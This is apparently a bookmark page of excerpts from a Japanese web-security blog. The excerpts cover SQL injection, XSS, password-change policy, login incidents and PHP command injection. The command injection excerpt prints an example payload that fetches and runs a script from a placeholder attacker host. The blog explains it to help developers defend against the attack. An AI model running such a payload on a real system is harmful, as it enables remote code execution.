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ブックマーク / blog.tokumaru.org (86)

  • PHP入門書のSQLインジェクションとXSS対策をあらためて調べてみた

    継続的にPHP入門書のセキュリティ問題を確認していますが、今回は「やさしいPHP 第3版」を取り上げ、今どきのPHP入門書のセキュリティ状況を報告したいと思います。 やさしいPHP やさしいシリーズ 単行 – 2008/2/29 やさしいPHP 第2版 (やさしいシリーズ) 単行 – 2010/8/28 やさしいPHP 第3版 (「やさしい」シリーズ) 大型 – 2014/9/26 上記のように、2008年に初版が出版された後2回の改版がありました。 第2版ではクロスサイトスクリプティング(XSS)の説明が追加され、第3版ではXSSに加えSQLインジェクションの説明が追加されました。つまり、初版ではこれらの説明はなかったということです。 第3版におけるSQLインジェクションの対策方法はプレースホルダによるもので、結果として書にSQLインジェクション脆弱性は見当たりません(パチパチパ

    PHP入門書のSQLインジェクションとXSS対策をあらためて調べてみた
  • 安全なウェブサイトの作り方改訂第7版の変更点と変わらない点

    IPAの安全なウェブサイトの作り方 改訂第7版が公開されました。 このエントリでは、安全なウェブサイトの作り方の元々もつ特徴(変わらない点)と、第7版の変更のポイントについて説明します。 なお、私は安全なウェブサイトの作り方の執筆者の一人ではありますが、以下の記述は私個人の意見であり、IPAを代表するものではありませんので、あらかじめご承知おきください。 安全なウェブサイトの作り方の変わらぬ特徴 安全なウェブサイトの作り方の特徴は、「まえがき」の中で述べられています。 書は、IPAが届出を受けたソフトウェア製品およびウェブアプリケーションの脆弱性関連情報に基づいて、特にウェブサイトやウェブアプリケーションについて、届出件数の多かった脆弱性や攻撃による影響度が大きい脆弱性を取り上げ、その根的な解決策と、保険的な対策を示しています。 すなわち、以下の2点がポイントと考えます。 脆弱性の選定

    安全なウェブサイトの作り方改訂第7版の変更点と変わらない点
  • HASHコンサルティングのイー・ガーディアングループ参加に関するお知らせ

    既にご案内の通り、イー・ガーディアン株式会社がHASHコンサルティング株式会社の全株式を取得し、完全子会社化することで合意いたしましたのでご案内いたします。 平たくというと、何が変わるの? (1) HASHコンサルティング株式会社の株主が変わります 旧株主: 徳丸浩(100%)  →  新株主: イー・ガーディアン株式会社(100%) (2) 社が移転します 旧社: 東京都品川区(自宅兼オフィス) 新社: 東京都港区麻布十番1-2-3 プラスアストルビル 5F ※イー・ガーディアン株式会社の社が入居しているビルです (3) 社員を増やします 旧: 徳丸が一人でなんでもやっていました 新: 一緒に仕事をしてくれる技術者を募集します 変わらないことは何? (1) 会社は存続します HASHコンサルティングという会社はイー・ガーディアン株式会社の子会社として存続し、社名も変わりません。

  • SQLインジェクション対策もれの責任を開発会社に問う判決

    ポイントは下記の通りです。 X社(原告)はセキュリティ対策について特に指示はしていなかった 損害賠償について個別契約に定める契約金額の範囲内とする損害賠償責任制限があった 当初システムはカード決済を外部委託し直接カード情報を扱っていなかった X社が「カード会社毎の決済金額を知りたい」とY社に依頼をして、その結果カード情報をいったんDBに保存する仕様となった(2010年1月29日) X社からの問い合わせに対してY社は、カード情報を保持しない方式に変更することが可能で、そのほうが安全となり、費用は20万円程度である旨を伝えた(2010年9月27日)が、その後X社は改良の指示をしなかった 以下の脆弱性その他が認められた システム管理機能のIDとパスワードが admin/password であった 個人情報が記載されたお問い合わせログファイルの閲覧が可能(ディレクトリリスティングと意図しないファイ

  • 自宅の鍵を定期的に取り替える佐藤君(仮名)の話

    パスワードの定期的変更について元々違和感を持っています。今まで、理詰めでその違和感を解明しようとしてきましたが、それでも私の頭のなかのもやもやをうまく説明できたわけではありません。そこで、パスワードの定期的変更を「自宅の鍵を定期的に変更する比喩」を用いて、そのもやもやを説明したと思います。比喩によって精密な議論ができるとは思っておりませんので、あくまでも主観的な「もやもや」を説明する方便として読んでいただければ幸いです。ここに登場する佐藤は架空の人物です。 徳丸: 佐藤君は自宅の鍵を定期的に取り替えていると聞いたんだけど、当? 佐藤: 当ですよ。毎年に替えています。毎年年末に鍵を取り替えて、安心な気持ちで新年を迎えるんです。徳丸さんは替えてないんですか? 徳丸: 替えないよ。鍵を落としたりしたらまた別だけど、そういうのでもなければ替えないよね。佐藤君はなぜ毎年替えるの? 佐藤: だって

  • パスワードの定期的変更はパスワードリスト攻撃対策として有効か

    パスワードリスト攻撃の対策として、パスワードの定期的変更に意味があるのかという議論があります。私は(利用者側施策としては)実質意味がないと思っていますが、まったく意味がないというわけでもありません。 このエントリでは、パスワードの定期的変更がパスワードリスト攻撃に対してどの程度有効かを検討してみます。 前提条件 パスワードリスト攻撃を以下のように定義します。 別のサイトから漏洩したアカウント情報(ログインIDとパスワードの組み合わせ)の一覧表(パスワードリスト)があり、そのログインIDとパスワードの組をそのまま、攻撃対象に対してログイン試行する攻撃 パスワードの定期的変更の一例として以下の条件を前提とします 利用者は、すべてのサイトのパスワードを90日毎に変更する 利用者はすべてのサイトで同じログインIDを用いている 変更後のパスワードはすべてのサイトで同じとする ※ サイト毎にパスワード

  • 気づけばプロ並みPHP 副読本:お助け電子BOOKへの寄稿の顛末

    谷藤賢一さんの著書『気づけばプロ並みPHP~ショッピングカート作りにチャレンジ! 』に、発売1周年の謝恩キャンペーンとして『副読:お助け電子BOOK』が公開されました(*1)。私はこの副読の中で、『第2章 【徳丸 浩氏 スペシャル寄稿】安全なWebアプリケーションのために』を寄稿しています。このエントリでは、寄稿の顛末を報告したいと思います。 動機 私が書『気づけばプロ並みPHP』を購入したのは昨年の10月29日ですから、書が出版されてまもなく、今から約1年前です。私は書を一読して、セキュリティ上の多数の問題があることに気がつきました。 以前は、セキュリティ上の問題が多い書評をブログ記事として書くことも多かったのですが、この際は書評という形にするのはためらいがありました。その理由は以下の様なものです。 私のブログの読者層はセキュリティに関心の高い方たちであり、書の読者とは重

  • パスワード定期的変更の効能について徳丸さんに聞いてみた

    高橋: こんにちは、高橋です。今日は徳丸さんをお招きして、今話題のパスワードの定期的変更について、当のところ効果がないのか、その効能についてご説明いただきます。徳丸さん、よろしくお願いします。 徳丸: 徳丸です。いつもはパスワードの定期的変更にはあまり意味がないと主張していますが、今日はパスワードの定期的変更を擁護する立場なんですね。面白そうです。よろしくお願いします。 高橋: まず問題の整理についてです。IPAより9月3日に『「ID・パスワードのセキュリティ対策促進に関する広告等業務」 係る企画競争 』の仕様書(PDF)が公開されました。その仕様書中の行動喚起を促す対策事例の一つに「ID・パスワードは定期的に変更する」 があったので、セキュリティクラスタが騒ぎ出し、その結果かどうかは分かりませんが、9月9日に同仕様書が改定され、パスワードの定期的変更は対策例から削除されました。一連の議

  • 安全なウェブサイトの作り方セミナーin 2014 にて講演します

    ディーアイエスソリューション株式会社と株式会社ジェイピー・セキュア共催のセミナー「安全なウェブサイトの作り方セミナー in 2014」で講演します。 日時:2014年9月5日(金)14:30~17:10 受付は14:00より 場所:ダイワボウ情報システム株式会社 東京支社1Fセミナールーム(東京都品川区) 費用:無料(申し込みはこちら) 講演タイトル:安全なPHPアプリケーションの作り方2014 企業セミナーとしては珍しいと思いますが、安全なアプリケーションの開発方法を説明して欲しいという主催者からのご依頼でしたので、PHPカンファレンス関西2014の講演(45分間)を90分に引き伸ばしたロングバージョンをお話いたします。普段の徳丸の講演よりも入門的な内容で「最低これだけはやってね」というテーマです。 アジェンダは以下の通りです。 アプリケーションの脆弱性を対策しよう クロスサイト・リクエ

    wasai
    wasai 2014/09/02
    行きたいなぁ
  • JSON SQL Injection、PHPならJSONなしでもできるよ

    DeNAの奥さんと、はるぷさんがJSON SQL Injectionについて公表されています。 The JSON SQL Injection Vulnerability 不正なJSONデータによるSQL Injectionへの対策について (Json.pm+SQLクエリビルダー) 上記の記事は、主にPerlスクリプトがJSONデータを受け取るシナリオで説明されています。もちろん、この組み合わせに限定したはなしではないわけで、それではPHPではどうだろうと思い調べてみました。 JSON SQL Injectionとは 以下、はるぷさんの「不正なJSONデータによる…」にしたがってJSON SQL Injectionについて説明します。 Perl向けのSQLジェネレータの一つであるSQL::Makerにおいて、以下のスクリプトを想定します。 my ($sql, @bind) = $builde

  • 慎重に扱うべきコンテンツに関する警告

    この投稿には慎重に扱うべきコンテンツが含まれている可能性があります。 通常、Google ではいかなるブログのコンテンツについても審査や推奨は行っておりません。Google のコンテンツ ポリシーの詳細については、Blogger の コミュニティ ガイドラインをご覧ください。 理解し、継続を希望します 続行しない

    慎重に扱うべきコンテンツに関する警告
  • 徳丸本Kindle版が半額(1,400円)となるキャンペーン始まりました

    拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践」のKindle版が、日から2週間、半額の1,400円でお買い求めいただけるキャンペーンが始まりました。 参考: 【電子書籍】4社共同IT書キャンペーン実施! ※キャンペーンはAmazonKindleのみで実施しています。 ※キャンペーンは2014/3/27まで実施の予定ですが、都合により早めに終了することがあります。 徳丸電子版をまだお持ちでない方は、この機会に購入をご検討ください。 ただし、徳丸電子版は、Kindle版以外にPDF版もあります。PDF版の割引キャンペーンはありませんが、Kindle版に対して下記のメリットがあります。 DRMフリー 検索が可能 PCMacなど様々な端末での閲覧が可能 印刷、コピペ等の制限解除 将来にわたる閲覧の保証 Kindle版に関しては、下記の注もお読

  • ANAの不正ログイン事件について徳丸さんに聞いてみた

    高橋: こんにちは、高橋です。先月に引き続き徳丸さんをお招きして、今度はANAの不正ログイン事件についてお話を伺います。徳丸さん、よろしくお願いします。 徳丸: 徳丸です。よろしくお願いします。 高橋: まず、事件の概要を説明します。「ANAマイレージクラブ」のWebサイトに不正ログインがあり、顧客9人のマイレージ、総計112万マイルがiTunesギフトコードに勝手に交換されていたとするものです。当初顧客の通報で発覚した点はJALの場合と同じですね(参考)。 徳丸: で、私はなにをしゃべればいいのですかね。お招きいただいたので出てきましたが、パスワードがJALは数字6桁、ANAは4桁ですが、それ以外はあまり変わらないのですよね。 高橋: JAL、ANAと事件が続きましたが、攻撃手口は見えてきていないのでしょうか? 徳丸: 公式発表も報道もあまり情報がないので確定的なことは言えないのですが、

    ANAの不正ログイン事件について徳丸さんに聞いてみた
  • よくわかるPHPの教科書 PHP5.5対応版のクロスサイト・スクリプティング

    たにぐちまことさんの よくわかるPHPの教科書がこのたび改版されて、よくわかるPHPの教科書 【PHP5.5対応版】として出版されました。旧版はmysql関数を使ってSQL呼び出ししていましたが、mysql関数がPHP5.5にて非推奨となったための緊急対処的な内容となっているようです。つまり、従来mysql関数を呼び出していた箇所をmysqliの呼び出しに変更したというのが、主な変更点のようで、これ以外はあまり変更点は見あたりません。 既に、Amazonでは、熱烈な読者の方からの詳細のレビューが届いています。 神御降臨! 言わずと知れたPHPプログラミング書籍のロングセラー。 2010年9月に発売された前作の改訂版。 PHPのバージョンも最新の5.5に対応、内容は前作と殆ど同じ。 少し前に前作を購入した方も書を購入した方がいいでしょう。 【中略】 それにしても、帯の「3万人に読まれた定

  • 正規表現によるバリデーションでは ^ と $ ではなく \A と \z を使おう

    正規表現によるバリデーション等で、完全一致を示す目的で ^ と $ を用いる方法が一般的ですが、正しくは \A と \z を用いる必要があります。Rubyの場合 ^ と $ を使って完全一致のバリデーションを行うと脆弱性が入りやすいワナとなります。PerlPHPの場合は、Ruby程ではありませんが不具合が生じるので \A と \z を使うようにしましょう。 はじめに 大垣さんのブログエントリ「PHPer向け、Ruby/Railsの落とし穴」には、Rubyの落とし穴として、完全一致検索の指定として、正規表現の ^ と $ を指定する例が、Ruby on Rails Security Guideからの引用として紹介されています。以下の正規表現は、XSS対策として、httpスキームあるいはhttpsスキームのURLのみを許可する正規表現のつもりです。 /^https?:\/\/[^\n]+$/

  • SQL識別子は結局どうすればよいか

    今まで2回にわたって、SQL識別子のエスケープの問題を取り上げました。 間違いだらけのSQL識別子エスケープ SQL識別子エスケープのバグの事例 3回目となる稿では、SQL識別子の取り扱いに関する問題を整理して、一般的な原則を導きたいと思います。 SQL文が動的に変化する場合のSQLインジェクション対策 「間違いだらけの…」で示したように、識別子エスケープが必要な局面でそれが洩れていると脆弱性の要因になることがありますが、それは外部から指定したデータにより、SQL文の構造が変化してしまい、アプリケーションの要件にないSQL呼び出しがなされてしまうからでした。 しかし、「間違いだらけ…」の後半で示したように、識別子のエスケープだけではセキュリティ問題を防ぐことはできず、情報漏洩を招いてしまいました。外部から任意のSQL識別子を指定できることが問題という結論でした。 上記のように、アプリケー

  • 間違いだらけのSQL識別子エスケープ

    これから3回連載の予定で、SQL識別子のエスケープの問題について記事を書きます。SQL識別子のエスケープについてはあまり解説記事などがなく、エンジニア間で十分な合意がないような気がしますので、これらの記事が議論のきっかけになれば幸いです。 3回の予定は以下のとおりです。 間違いだらけのSQL識別子エスケープ(稿) SQL識別子エスケープのバグの事例 SQL識別子は結局どうすればよいか ということで、まずはSQL識別子のエスケープの失敗例について説明します。この失敗例はあくまで説明のために作ったもので、実際のものではありません。また、想定が「ありえない」と思われるかもしれませんが、意図的なものですのでご容赦いただければと思います。また、「間違いだらけの」というタイトルは、今回の題材が間違いだらけという意味であり、巷のSQL呼び出しがそうであるという意味ではありません。稿に登場する人物と団

  • PHPだってシェル経由でないコマンド呼び出し機能が欲しい

    このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba

  • PHPとセキュリティの解説書12種類を読んでSQLエスケープの解説状況を調べてみた

    この投稿はPHP Advent Calendar 2013の13日目の記事です。昨日は@tanakahisateruのPHPが糞言語なのはどう考えても参照をポインタだと思っているお前らが悪いでした。 現在twitterのタイムラインで、史上空前のSQLのエスケープブームが起こっています。 オレオレSQLセキュリティ教育は論理的に破綻している | yohgaki's blog 「プリペアードクエリが基だけど、動的に SQL を組み立てる場合もあるから、そういう場合に備えてエスケープも知っておいたほうがいいかも」 - Togetterまとめ エスケープとプレースホルダをめぐる議論 - Togetterまとめ SQLインジェクション対策としてのプリペアドステートメントとエスケープについての議論 - Togetterまとめ IPAの「安全なSQLの呼び出し方」が安全になっていた | yohgak

    PHPとセキュリティの解説書12種類を読んでSQLエスケープの解説状況を調べてみた
  • XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス

    メールアドレスの「ルール」に関する話題が盛り上がっていますね。 「メールアドレスのルール」系まとめがそろって間違ってるのでご注意を 「メールアドレスのルール」なんて使ってはいけない3つの理由 これらのエントリに異論があるわけでありません。メールアドレスに関するルールというとRFC5322などがあるものの、現実の運用では簡易的な仕様を用いている場合が大半である…という事情は、私も以前ブログに書きました。、 稿では、「空前のメールアドレスのルールブーム(?)」に便乗する形で、RFC5322に準拠したメールアドレスで、XSSやSQLインジェクションの攻撃ができることを紹介します。と言っても、SQLインジェクションについては、過去に書きましたので、稿では、RFC5322バリッドなメールアドレスでSQLインジェクションとXSSの両方ができるメールアドレスを紹介します。 まず、攻撃対象として、以下

    XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス